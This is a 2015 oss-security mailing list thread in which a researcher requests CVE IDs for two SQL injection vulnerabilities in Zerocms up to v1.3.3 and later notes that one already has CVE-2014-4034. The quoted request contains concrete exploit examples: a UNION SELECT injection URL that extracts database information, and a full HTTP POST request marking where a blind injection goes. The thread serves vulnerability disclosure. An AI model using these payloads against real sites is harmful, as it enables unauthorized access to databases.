[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Date: Sun, 1 Feb 2015 15:49:16 +0100
From: Steffen Rösemann <steffen.roesemann1986@...il.com>
To: oss-security@...ts.openwall.com
Subject: Re: CVE-Request -- Zerocms <= v. 1.3.3 -- SQL injection vulnerabilities
I just got a reply from MITRE.
I missed, that the first SQL injection vulnerability already had been
assigned CVE-2014-4034. Sorry, I missed that one.
Greetings.
Steffen
2015-02-01 9:15 GMT+01:00 Steffen Rösemann <steffen.roesemann1986@...il.com>
:
> Hi Steve, Josh, vendors, list.
>
> I found two SQL injection vulnerabilities in Zerocms <= v. 1.3.3.
>
> The first SQL injection vulnerability is located in the article_id
> parameter used in zero_view_article.php and can be exploited even by
> unauthenticated attackers.
>
> See the following exploit-example:
>
> http://
> {TARGET}/views/zero_view_article.php?article_id=-1+union+select+database%28%29,2,version%28%29,user%28%29,5,6+--+
>
> The second vulnerability is a Blind SQL injection an is located in the
> user_id parameter used in a POST request in zero_transact_user.php.
>
> An attacker can exploit this vulnerabilitiy in the administrative backend
> via the following POST request exploit-example:
>
> POST /views/zero_transact_user.php HTTP/1.1
> Host: localhost
> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:35.0)
> Gecko/20100101 Firefox/35.0
> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
> Accept-Language: de,en-US;q=0.7,en;q=0.3
> Accept-Encoding: gzip, deflate
> DNT: 1
> Referer: http://{TARGET}/views/zero_user_account.php?user_id=2
> Cookie: PHPSESSID=rirftt07h0dem8d48lujliuve6
> Connection: keep-alive
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 91
>
> name=user&email=user%40user.de&access_level=1&user_id=2 {SQL injection
> goes here}&action=Modify+Account
>
> Could you please assign a CVE-ID for this?
>
> Thank you very much.
>
> Greetings from Germany.
>
> Steffen Rösemann
>
> References:
>
> [1] http://aas9.in/zerocms/
> [2] http://sroesemann.blogspot.de/2015/01/sroeadv-2015-13.html
> [3] https://github.com/perezkarjee/zerocms/issues/3
> [4] https://github.com/sroesemann/zerocms
> [5] https://twitter.com/sroesemann/status/559273548691546113
> [6]
> http://sroesemann.blogspot.de/2015/01/report-for-advisory-sroeadv-2015-14.html
> [7] http://seclists.org/fulldisclosure/2015/Feb/4
>
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
